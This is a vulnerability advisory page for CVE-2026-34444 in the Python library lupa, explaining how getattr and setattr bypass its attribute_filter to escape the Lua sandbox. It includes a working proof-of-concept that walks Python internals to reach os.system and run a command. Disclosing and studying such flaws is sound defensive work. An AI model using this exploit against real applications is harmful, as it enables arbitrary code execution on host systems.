Skip to main content

CVE-2026-34444 — Vulnerability in lupa — CVE Details

HIGH

Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr

Published April 7, 2026Updated September 10, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.85%). Schedule for your next planned update.

Does your project use an affected lupa version?

Paste your requirements.txt to check it for CVE-2026-34444 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my requirements.txt

Summary

Summary

The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.

However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.

Details

The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.

In practice, it only applies to direct attribute access:

  • obj.attr → filtered
  • getattr(obj, "attr") → not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.

An attacker can use getattr to-

  • Access __class__
  • Walk the __mro__ chain
  • Call __subclasses__()
  • Iterate over available classes
  • Find a function that exposes __globals__
  • Retrieve something like os.system

At that point, arbitrary command execution becomes straightforward.

This effectively breaks the security boundary that attribute_filter is expected to enforce.

PoC

The following example shows how the filter can be bypassed to execute os.system:'

import lupa
from lupa import LuaRuntime

def protected_attribute_filter(obj, attr_name, is_setting):
    if isinstance(attr_name, str) and attr_name.startswith('_'):
        raise AttributeError(f"Access to '{attr_name}' is forbidden")
    return attr_name

lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)

class UserProfile:
    def __init__(self, name): self.name = name

lua.globals().user = UserProfile("test")

lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr

local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")

local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
    if tostring(c):find("os._wrap_close") then
        local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
        setattr(user, "run", system)
        user.run("id")
    end
end
""")

Impact

An attacker who can execute Lua code can:

  • Bypass the attribute_filter
  • Access Python internals
  • Traverse the object graph
  • Reach execution primitives

This leads to full sandbox escape and arbitrary command execution in the host Python process. Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.

Advisory Timeline

  • First published April 7, 2026 (233 days ago).
  • Last revised September 10, 2026 — 156 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: PyPI (1).

PackageFixed In
lupa PyPI · Affected: 0.1, 0.10, 0.11, 0.12 (+42 more)Range-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-34444?
Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-34444?
CVE-2026-34444 affects lupa. It has a 0.9% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34444 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Maximum impact if exploited, often with little effort or access required.

EPSS Score (30-day exploit probability)
0.85%
EPSS percentile: 55.6

This is an above-median EPSS score — 55.6% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.

Also Known As

GHSA-69v7-xpr6-6gjm
PYSEC-2026-2613

Related CVEs

  • CVE-2026-128139
    HIGH

    NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service

  • CVE-2026-129222
    HIGH

    Natural Language Toolkit (NLTK): Uncontrolled recursion (crash DoS) in DependencyGraph.tree()/triples()

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my requirements.txt